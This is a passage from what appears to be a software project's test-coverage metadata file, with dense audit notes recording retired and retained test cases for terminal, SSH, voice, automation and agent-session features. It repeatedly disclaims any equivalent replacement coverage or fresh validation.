approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. The direct side-effect-facts selector retains six cases: replay exclusion, live sequence handling, stale disposer ownership, one handoff drain, drain-before-snapshot, and stale replacement-snapshot refusal. Successful current-entry snapshot application is not witnessed by the retained snapshot case. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2162: Reduced inventory-authority source intentionally loses the examples recorded in knownGaps; historical execution is not validation of changed bytes. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Remove SSH/absent-inventory attach refusal, later-subscriber retry, no-view adoption/takeback, provider-tail/unknown-read projections, failed-keystroke retry and simpler loss reattach examples. Keep the existing-subscriber inventory-ready retry alias only at its retained callback, plus retained held-input cancellation/replacement and overlapping attach/loss fences. The inventory driver also loses the whole empty-worktree-publication registration and folder-host/unverifiable scalar examples. Retire the entire dated10-case attach receipt; retain16 independent receipts only in their original scopes. No retained-memory or real-daemon measurement follows from supplied provider inventories. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1991: Remove initial-snapshot sequence-domain, limited-tail/truncation and unknown-output-sequence aliases whose callbacks are removed. The source retains partial-chunk replay and requested-snapshot retry/admission at supplied snapshot/data seams, not equivalent replacement or measured retained-memory proof. Preserve the existing stream/pending-wait capacity aliases only to their retained owning multiplex callbacks with supplied PTY resolutions. Removing the sibling-PTY heartbeat dedup work-count sample does not establish a new decorative fanout budget; the unrelated-PTY cancellation fence survives. Preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Remove the reasonless-close selector and narrow census aliases to actual retained runtime and injected-inventory callbacks. The removed synthetic census-dedup and isolated pre-boundary timing cases receive no replacement credit; preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1939 (sources1934/1935): Delete the synthetic watcher-synchronization and partial-reconciliation suites. Retire all affected host-fact, capability-owner, activation-residue and retention-cap aliases because the remaining callbacks do not establish those full claims. Keep exact local hook/timer, byte-stream side effects, exit/disposal, scroll-intent cleanup and deterministic local rank/TTL progression callbacks within their mocked-host scope. No physical paired-host retention, resource budget or equivalent replacement evidence is assigned. The generic broad test command remains a runnable discovery command, never a dated execution receipt. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete the complete hook-agent-status projection suite and its two behavioral assertion aliases. Supplied stored hook/title/resume/staleness/rename/question/generation/PTY-retirement/snapshot-version projections are intentionally lost. The separate osc-status-scan gate mentions this source only in existing historical notes and receives no mutation. No measured hidden-output retention, CPU/RSS or resource budget result is claimed by the deleted source or this audit. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Module ownership cleanup retires the modeled cold-park private watcher/render/work-count suites under the current test policy. Their assertions are no longer active evidence. Retained lifecycle tests and headed/headless journeys do not establish equivalent coverage for those removed harness alarms. Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1634 removes low-value IPC, filesystem and runtime projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/pty-connection-hidden-tui-snapshot-replay.spec.ts: Loses rich hidden snapshot sequence replay/grid resize and forced repaint after hidden snapshot alarms, including live-trigger deduplication. deletes src/renderer/src/components/terminal-pane/terminal-cold-park-verdict-loop.test.tsx: Loses modeled React oscillation alarm; real pane/watchers are not exercised. deletes src/renderer/src/runtime/remote-runtime-terminal-parse-backpressure.test.ts: Loses delayed credit until parsing, malformed frame/unknown stream handling, discarded transformed output recovery and failed ACK rearm alarms. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1412 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): This audit removes the browser response-after-manual-disconnect example. Its distinct in-flight response fencing alarm is lost; retained queued-call disconnect tests are not an equivalent replacement. Historical commands and results remain historical. Deterministic headed macOS runs launch an isolated Orca desktop server and a separate paired web client. A byte-identical headless run uses an isolated `orca serve` host. Both create six real paired host PTYs with bounded high-output scrollback, prove sustained output while all six client xterms are warm-mounted but hidden causes zero renderer scheduler work, then drive 180 timed real-PTY spinner frames through a second production `session.tabs.subscribeAll` transport and the real Zustand store. Each worktree must publish and apply only its exact initial-working and final-idle titles. Both topologies ordinary-park five xterms without enabling the lossy retention budget, assert bounded cells/heap/timer lag, then restore the bounded authoritative tail exactly once on the original PTY including output produced while parked and continued input/output. The headed oracle additionally keeps every remote target workspace and terminal unmounted in the host renderer before and after client recovery. Production-parity React contracts reproduce and remove the independent cold-park watcher/title feedback loop, including memo-cache discard, StrictMode cleanup replay, detached split-PTY replacement, and the zero-park fast path. A deterministic cross-boundary contract drives 24 real PTY trackers in distinct worktrees through 2,880 decorative spinner and bare-native redraw chunks and counts host publications, serialized bytes, renderer apply calls, and store mutations while preserving exact per-PTY raw chunks and per-worktree semantic transitions. Fake-clock continuation beyond the 30-minute stale boundary requires one deduplicated refresh per worktree every 15 minutes, globally spaced by at least 50 ms, with every mirrored working status still fresh. Exact-identical Pi plus rotating normalized Pi/Grok frames renew coarse working/permission state; rich prompt/tool/question fields retain their original 30-minute lease, and `stateStartedAt`/acknowledgement identity remain stable across title/hook source swaps. A separate headed desktop-client journey relaunches the host main process while retaining the daemon and a daemon-backgrounded PTY, then requires first-observation foreground sync and continued input/output on the same PTY. Unit coverage keeps layout versions out of snapshot output high-waters when a restored snapshot has no output sequence and retries an existing subscriber only after authoritative provider inventory proves the retained PTY exists. Separate headed/headless ACK-starvation tests recover one stalled stream without replacing its PTY. A headed output-drop oracle proves a successful snapshot probe cannot certify a stale live stream when the authoritative PTY sequence advanced beyond the client high-water. Unit coverage requires an unsequenced client to establish a first-probe baseline, remain attached at the same sequence, and recover only after a later probe advances. A capability-disabled run proves legacy hosts retain the prior lossy limit/TTL fallback. Unit tests cover exact-owner capability routing, raw-stream release, singleton side-effect facts with timed handoff cleanup, 64 simultaneous synthetic-title sources with zero decorative client events after convergence, per-client late-subscribe recovery, semantic bell/title transitions, local animation-frame preservation, legacy no-output-pause delivery gating with exact snapshot restore, provider-authoritative snapshots, 128 active streams plus retry after a 129th-stream capacity rejection, capacity-pressure backoff, full split-leaf remint reconciliation, truncation, and manual-disconnect queue fencing. Linux, Windows, live SSH, and production-scale paired hosts remain gaps. The audit removed the E2E parking override/debug-handle suite. Override exposure guards, delay/retention independence, TTL filtering and debug-handle forwarding alarms are lost. Retained real parking journeys do not establish equivalent test-harness configuration coverage. The test-value audit removes separate responsive-stream, intervening-control-frame and capacity-error classification examples. Retained multiplexer checks use fake clocks and captured transport callbacks; their per-stream isolation, deadline and probe-baseline assertions do not prove an actual host restart or equivalent replacement coverage. Historical run commands and results remain historical. The test-value audit removes the standalone retained/live metadata projection and additive-preference negative example from runtime-client-events.test.ts. Its remaining case checks partial-authority event admission through a captured callback; it does not establish full-pair projection, actual peer delivery or equivalent replacement coverage. Historical commands and results remain historical. The isolated accepted-handle-events observer suite is removed. Its runtime/worktree/pane membership, once-only delivery and listener-release ledger alarms are lost. Live hidden-retention evidence does not establish equivalent observer coverage. Audit1292: The entire host-session mirror empty-inventory settle suite is removed. Live-unpublished versus genuinely-empty hydration, same-ID revision response/in-flight fencing and cleared-tracking pending-probe invalidation alarms are lost. The singleton store and inventories were mocked; no real host census or resume delivery or equivalent replacement coverage is claimed. Audit1302: src/main/runtime/session-tabs-inventory-publication.test.ts: Keep actual runtime public inventory authority across renderer epochs/resync, fallback, aborts and invalid graph publishers. Remove copied nonempty publication, private scan counters/collector and known-host replacement, fake refresh that performs the restoration itself, environment capability flag, and private resume-store characterization whose fixture supplies reservation/rollback ordering. Lose isolated refresh/churn/receiver/capability and copied-payload wiring alarms; no equivalent replacement. Reduced selectors require fresh validation; prior full-suite receipts do not validate removed or changed coverage. No equivalent replacement or physical-provider claim. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1318: src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts: Retain real local encrypted WebSocket regressions for pre-ready socket replacement preserving a request, close-before-ready logical subscription cleanup, unrelated RPC surviving another deadline, and pending setup abort leaving a sibling pending. Host server is synthetic and uses production crypto; kept scenarios also retain internal diagnostics/memory assertions unchanged. Remove happy routing, authority-envelope, unknown-ID/log, cleanup enum, binary, keepalive/liveness and production-budget/private socket inventories; intentionally lose those alarms, no physical host authorization, independent crypto or remote provider claim. Reduced selectors need fresh validation; historical full-suite receipts do not validate the changed coverage. No equivalent replacement or physical-provider claim. Audit1346 removes the entire private-state-injected session-tabs rich-status boundary suite. Its stale task/question, neutral-title preservation, owner-change and provider-generation alarms are intentionally lost. Retained real terminal journeys do not establish equivalent replacement coverage. The prior mixed 42-contract execution receipt is historical and must not validate the reduced current selector; fresh validation remains required. Audit1352: focused Linux unit selections validated on source head b638e07d395b76af3ba6b03761a1a0fe7e5e026e. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1360: focused Linux unit selections validated on source head 415c9cffc2d10024131ec4b6721767a22195de6d. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1391: src/renderer/src/components/terminal-pane/pty-connection-remote-pause-drop-notice.spec.ts reduced. Lose repeated quiet switches avoiding snapshots and legacy host without drop-report capability requesting a snapshot. Retained imported registrar uses fake transport/xterm writes, exercising real gap/restore lifecycle rather than actual terminal rendering. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1396: src/renderer/src/components/terminal-pane/terminal-parked-watcher-reconciliation.test.ts reduced. Retire standalone reconcile set output and positive untouchedFreshSpawn/workspaceOwner copying alarms; no native watcher execution claim. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1402: src/renderer/src/components/terminal-pane/pty-connection-park-reveal-model-snapshot.spec.ts reduced. Loses basic paired serialize/initial replay forwarding check; hidden alt-frame grid/precedence policy remains. No real terminal renderer claim. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1412: src/main/runtime/mobile-session-tabs-agent-status-heartbeat.test.ts reduced. Loses FIFO fairness/spacing, semantic bypass/cancellation, delayed-boundary scheduling and teardown timer-cleanup alarms. Retained fixed emission cases do not replace those outcomes. No equivalent replacement coverage is claimed.", + "coverageNotes": "Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5879 retires the entire cold-parking hook suite and its stale exemption/park-set and unnecessary recomputation alarms. Remaining selectors are not equivalent replacement coverage; unchanged independent dated receipts retain their original scope and do not validate reduced commands. Historical prior account preserved verbatim: Audit5772 companion to audit5768: Retire the whole hidden-view parking policy suite. Direct oldest/cap/TTL/last-active worktree ranking and equal-hidden-time tab activation-order alarms are intentionally lost without equivalent replacement. Narrow one compound unit command and remove the parking testFiles entry. Physical parking/restoration/stream-budget selectors and assertions remain unchanged at their own exact scope; they are not certified as replacements. Complete dated evidenceRuns and unrelated selectors/assertions are unchanged; none selects these retired suites and none validates the narrowed command. No fresh execution, current import reachability, replacement coverage or native/platform/remote result is claimed. Complete prior account preserved verbatim below as historical, including any older then-retained coverage claim: Audit5571 removes the entire unrelated-PTY mobile heartbeat callback suite and its active selectors; its bookkeeping alarm is intentionally lost without equivalent replacement or fresh 